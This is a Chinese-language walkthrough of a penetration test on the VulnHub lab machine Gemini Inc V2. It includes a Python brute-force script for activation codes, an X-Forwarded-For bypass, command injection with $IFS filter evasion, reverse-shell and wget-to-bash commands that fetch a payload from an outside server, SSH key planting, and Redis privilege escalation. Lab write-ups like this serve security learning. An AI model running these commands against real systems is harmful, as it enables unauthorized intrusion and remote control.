Gemini Inc V2 渗透测试笔记
最近发现了https://www.vulnhub.com/这个网站,里面有很多用于渗透测试的镜像。这几天对Gemini IncV2进行了一下渗透测试,做一下笔记。
主机发现

由于我们是安装在本地VM虚拟机的,其中的192.168.246.132就应该是我们的目标主机了。我们再扫描它的服务

linux系统,开放了80端口,浏览器访问一下。

Web渗透
爆破
随便扫一扫web目录,发现有inc/、img/、admin/等目录可以遍历文件,但没有发现文件的泄露。还扫到registration.php注册和activate.php。
我们先进行注册,登录进去再看看有什么漏洞。注册登录

看来activate.php就是用来激活的。
主页链接随便点一点就能得到Uid

按照上面的说法,激活码只有6位数字,那么我们就可以尝试爆破。
import requests
import re
s = requests.session()
url = 'http://192.168.246.132/activate.php'
cookie = {'PHPSESSID':'95b47jmcsidtkr5k982tm82013'}
def getpost(num):
t = s.get(url=url,cookies = cookie)
token = re.search("'hidden' name='token' value='(.*?)'>",t.text).group(1)
post_data = {'userid':'15','activation_code':num,'token':token}
t = s.post(url = url,cookies = cookie,data = post_data)
print(num)
return post
for i in range(0,1000000):
num = (6-len(str(i)))*'0'+str(i)
post = getpost(num)
if t.status_code != 403:
print(num)
break
激活码为000511,登录进去可以看到用户列表,Gemini是管理员用户,点进去查看源代码居然能看到密码TAT,

解密可得管理员用户密码为secretpassword,登录管理员账号,发现多了一个Admin Panel,其中有一个Execute Command,猜测是命令注入,点进去返回403,抓包发现IP not allowed

改X-Forwarded-For 为127.0.0.1,成功进入
命令注入
Fuzz过后发现过滤了空格、(、)、|、> 、& 我们现在想反弹一个shell,一般我们可以直接bash -i >& /dev/tcp/10.133.1.79/4444 0>&1 空格可以用$IFS(代表\t\n)代替,但是>、&都被过滤了。 我们可以把命令挂在自己的vps上,然后通过curl、GET、或者wget命令下载下来然后bash执行。
#curl
curl 111.231.226.60 | bash
#GET
GET 111.231.226.60 | bash
#wget
wget 111.231.226.60
bash index.html
亲测curl命令被作者去除了,因为过滤了|所以我们使用wget。成功反弹shell
//发现web目录不可写,写到tmp目录中去
wget$IFS'-P'$IFS'/tmp/'$IFS'111.231.226.60'
//执行其中命令
bash$IFS/tmp/index.html

获取稳定shell
这样拿到的shell非常不稳定,这时我们可以向/home/gemini1/.ssh/authorized_keys 中写入我们自己的ssh公钥,那么这样就可以ssh无密码登录了。
在/home/gemini1/目录创建文件夹.ssh ,进入并执行语句 echo "你的ssh公钥" >authorized_keys
这样就可以通过ssh登录啦
提权
最后一步就是提权了。首先我在/var/www/html/inc/settings.php 发现了mysql的账号密码(TAT不但没登进去,而且发现还没什么用)
和mysql纠缠很久无果。ps -ef 看了一下目标主机正在运行的软件,突然发现运行了redis,还是root权限运行的,那么我们就可以通过redis向root用户写入ssh公钥通过ssh登录root用户了!
redis提权
redis如何getshell在我以前的博客中讲了三种方法,在这里不太熟悉的同学可以回去看看Redis Getshell总结
先尝试redis-cli登录,发现需要密码验证。既然我们已经渗透进来了,那么按照redis设置密码的方式,寻找redis配置文件,密码就在里面。
这时,我们在/etc/redis 中发现了配置文件 6379.conf

在最下面看到密码8a7b86a2cd89d96dfcc125ebcc0535e6
现在连接redis,按照我那篇博客的方法,将我们自己的公钥写入root用户就可以啦。
